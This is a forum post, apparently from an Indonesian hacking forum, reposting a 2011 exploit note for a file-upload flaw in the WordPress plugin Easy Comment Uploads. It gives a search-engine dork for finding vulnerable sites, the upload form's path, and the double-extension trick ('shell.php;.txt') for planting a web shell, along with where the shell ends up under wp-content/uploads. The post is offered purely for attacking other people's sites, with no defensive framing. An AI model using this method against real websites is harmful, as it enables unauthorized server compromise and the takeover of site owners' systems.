./Official Forum Yogyakarta Freedom Security


Exploit WordPress uploads

Share
avatar
Admin
Admin

Jumlah posting : 26
Join date : 08.02.17
Age : 14
Lokasi : Sleman

Exploit WordPress uploads

Post by Admin on Sun May 07, 2017 3:16 pm

Exploit WordPress “/easy-comment-uploads/upload-form.php”


—————————————————————————-
| Title : WordPress Plugin EasyComment Upload Vulnerability
| Author: Z190T
| Vendor: http://wordpress.org/extend/plugins/easy-comment-uploads/
| Date : 15/06/2011
| Dork : “/easy-comment-uploads/upload-form.php”
| Category : PHP [File Upload Vulnerability]
| Tested on: [Windows XP3, Linux Ubuntu]
—————————————————————————-


*_Exploit_*
# http://[localhost]/[path]/easy-comment-uploads/upload-form.php
# http://[localhost]/easy-comment-uploads/upload-form.php
# File Extention [.txt],[.jpg],[gif],[png],[bmp]
*_Preview_*
# site/wp-content/uploads/[years]/[month]/[yourshell]
# ex: site/wp-content/uploads/2011/06/shell.php;.txt
=========================================================

Exploit WordPress uploads
Google Facebook Twitter

    Waktu sekarang Thu Sep 21, 2017 4:39 am